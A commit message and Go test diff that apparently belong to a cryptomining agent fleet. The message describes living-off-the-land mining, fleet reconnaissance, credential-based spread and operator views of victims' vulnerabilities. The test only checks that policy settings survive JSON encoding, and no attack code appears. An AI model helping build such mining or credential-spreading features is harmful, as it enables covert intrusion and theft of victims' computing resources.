Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/api/server_policy_test.go

@@ -14,6 +14,11 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
 		StrictWalletValidation: true,
 		MaxBuildSizeMB:         64,
 		PoolReconnectSeconds:   30,
+		TripleOnionPolicy: TripleOnionPolicy{
+			PatchFirst:           true,
+			SkipMiningOnHighRisk: true,
+			HighRiskThreshold:    50,
+		},
 	}
 
 	data, err := json.Marshal(in)
@@ -25,7 +30,18 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
 	if err := json.Unmarshal(data, &out); err != nil {
 		t.Fatal(err)
 	}
-	if out != in {
+	if out.MaxAgents != in.MaxAgents ||
+		out.LogAgentConnections != in.LogAgentConnections ||
+		out.LogShareSubmissions != in.LogShareSubmissions ||
+		out.LogPoolTraffic != in.LogPoolTraffic ||
+		out.StrictWalletValidation != in.StrictWalletValidation ||
+		out.MaxBuildSizeMB != in.MaxBuildSizeMB ||
+		out.PoolReconnectSeconds != in.PoolReconnectSeconds {
 		t.Fatalf("round-trip mismatch:\n  got  %+v\n  want %+v", out, in)
 	}
+	if !out.TripleOnionPolicy.PatchFirst ||
+		!out.TripleOnionPolicy.SkipMiningOnHighRisk ||
+		out.TripleOnionPolicy.HighRiskThreshold != 50 {
+		t.Fatalf("triple onion policy round-trip mismatch: %+v", out.TripleOnionPolicy)
+	}
 }